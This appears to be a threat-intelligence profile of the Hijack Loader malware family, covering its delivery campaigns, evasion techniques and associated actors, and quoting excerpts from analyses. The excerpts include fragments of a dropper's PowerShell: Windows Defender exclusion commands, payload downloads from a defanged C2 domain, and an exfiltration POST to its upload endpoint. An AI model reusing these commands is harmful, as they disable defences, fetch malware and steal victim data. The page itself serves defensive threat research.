Loading malware…
Hijack Loader, also known as DOILoader and IDAT Loader, is a Windows malware loader used to stage and execute additional payloads for downstream intrusion activity. It is commonly employed as an intermediary component in multi-stage infection chains, where its primary role is to launch or enable follow-on malware such as information stealers and remote access trojans. Reported downstream payloads include families such as Lumma Stealer, Vidar Stealer, RedLine Stealer, Rhadamanthys, Remcos RAT, and other commodity malware.
The loader has been observed across a wide range of criminal delivery ecosystems, including ClickFix-style social engineering, compromised websites, malvertising, SEO poisoning, fake software installers, cracked software lures, and spearphishing campaigns. It has appeared in campaigns abusing interest in AI tools, fake browser or security prompts, trojanized software downloads, and messaging-platform-delivered archives containing malicious shortcut files. In some operations it is delivered by another loader, such as RenEngine Loader, Emmenhtal-related chains, or CastleLoader, underscoring its role as a flexible second-stage execution component.
Hijack Loader is associated with defense evasion and stealth-oriented execution. Observed campaigns involving it have used techniques including DLL side-loading, module stomping, in-memory reconstruction, process injection, scheduled-task persistence, and environmental checks for security products. It has also been linked to staged execution flows that reduce forensic visibility through cleanup and anti-analysis behavior. In at least some campaigns, surrounding scripts or loaders performed reconnaissance, altered Microsoft Defender settings, and removed artifacts after execution.
The malware has been used by multiple cybercriminal actors and delivery clusters rather than a single exclusive operator. It has been referenced in activity tied to ClearFake, Storm-3075-related malvertising, GrayBravo/CastleLoader ecosystems, and Russia-aligned UAC-0184 operations targeting Ukrainian government and military entities. It was also named among malware families targeted by Operation Endgame in 2025, reflecting its significance in the broader loader ecosystem.
Hijack Loader primarily targets Windows systems and serves as an enabling platform for credential theft, remote access, and broader post-compromise activity by the payloads it deploys. Its prevalence across commodity crimeware campaigns and targeted intrusion chains makes it a notable execution and delivery layer in the contemporary malware landscape.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
While the example campaign described in this section delivered Vidar Stealer, we have also observed this campaign distributing Lumma Stealer, Hijack Loader, and Oyster.
Credential Theft and Remote Access Surge as AllaKore, PureRAT, and Hijack Loader Proliferate
19 distinct techniques documented for this family, organized by ATT&CK tactic.
Since at least early 2026, Microsoft Threat Intelligence has observed malvertising campaigns that use AI-themed terms such as “Awesome AI Windows Plugin” and “Flux Pro AI” in social engineering lures ... Microsoft attributes this malvertising activity to an initial access broker and malware distributor tracked as Storm-3075.
“creates a throwaway GitHub account and forks… edits the download link… used sponsored ads… to promote their commit… deliver Hijack Loader and Atomic Stealer.”
Analysis of the redirection chain determined that the attack likely originated from free movie streaming sites. Infections on such sites typically begin when users interact with embedded movie players or click popups.
Threat actors are increasingly abusing the branding of popular AI services as social-engineering bait to drive phishing, credential theft, payment fraud, and malware delivery.
The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...
During routine malware analysis, I discovered a PowerShell-based dropper script being delivered from a malicious C2 domain... This script disables security controls, fetches 2 payloads (SectopRAT, HiJack Loader), exfiltrates data, and removes all traces of its execution.
Victims were prompted to retrieve ProFluxeFlowAi-win-Setup.exe from a GitHub repository named shippingtechnologymovie in the AI-techVideos path.
The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...
The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity...
"distributed via a heavily obfuscated Inno Setup installer"; "Delivered via a downloader in a ZIP archive"; "illegally modified game installers distributed via piracy platforms"
The archives contained a heavyweight Win32 PE that masqueraded as the DeepSeek installer.
Before exiting, the malware removes: All downloaded ZIPs and folders The exfiltrated result file Itself via a helper script deleter.ps1
"Hijack Loader incorporates an array of anti-virtual machine and anti-debug techniques"
The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity, and writes results to a result.txt file.
The script attempts to evade detection by creating Windows Defender exclusions for the entire C drive and two known processes often abused in malware campaigns. Add-MpPreference -ExclusionPath $folderPath Add-MpPreference -ExclusionProcess $processName Add-MpPreference -ExclusionProcess $processName1
The malware executable was signed with a fraudulently obtained Microsoft-issued code-signing certificate obtained through Artifact Signing... Microsoft attributes the signing service used by the threat actor to Fox Tempest.
The malware collects the victim’s external IP address... $externalIP = Invoke-RestMethod -Uri "http://ifconfig.me/ip"
The malware collects the victim’s external IP address and username... $username = $env:USERNAME
"Hijack Loader incorporates an array of anti-virtual machine and anti-debug techniques"
The malware collects the victim’s external IP address and username, checks for an existing scheduled task named MSSecurity, and writes results to a result.txt file.
The script uses Invoke-WebRequest to pull two ZIP archives from the same C2... Each ZIP is extracted to a fake Chrome cache folder inside %TEMP%.
The script uses Invoke-WebRequest to pull two ZIP archives from the same C2... Invoke-WebRequest -URI https://fancysunshine[.]top/s8dj3bh9w877/NC.zip -outfile $file ... Invoke-WebRequest -URI https://fancysunshine[.]top/s8dj3bh9w877/RD.zip -outfile $file1
Then, it exfiltrates the result via an HTTP POST to: https://fancysunshine[.]top/s8dj3bh9w877/upload.php Payload structure: multipart/form-data, with result.txt and a folder tag report.
8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
23 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.